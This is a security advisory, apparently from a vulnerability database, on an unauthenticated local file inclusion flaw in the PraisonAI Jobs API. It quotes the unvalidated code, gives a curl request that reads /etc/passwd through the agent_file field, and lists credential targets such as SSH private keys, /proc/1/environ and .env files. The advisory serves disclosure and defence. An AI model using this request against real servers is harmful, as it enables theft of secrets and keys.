PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.
The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:
# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist
The executor reads the file directly:
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))
curl -X POST http://:8005/api/v1/runs \
-H "Content-Type: application/json" \
-d '{"prompt": "run", "agent_file": "/etc/passwd"}'
Server responds with contents of /etc/passwd.
Other exploitable paths:
/proc/1/environ — environment variables, API keys/home//.ssh/id_rsa — SSH private keys/app/.env — application secretsAny unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.
Why this VPI (explainable, experimental)
VPI breakdown
| Impact | 75.00 |
| Exploitation signal(No additional exploitation signal) | ×1.00 |
| VPI | 75.00 |
VPI formula vpi-v1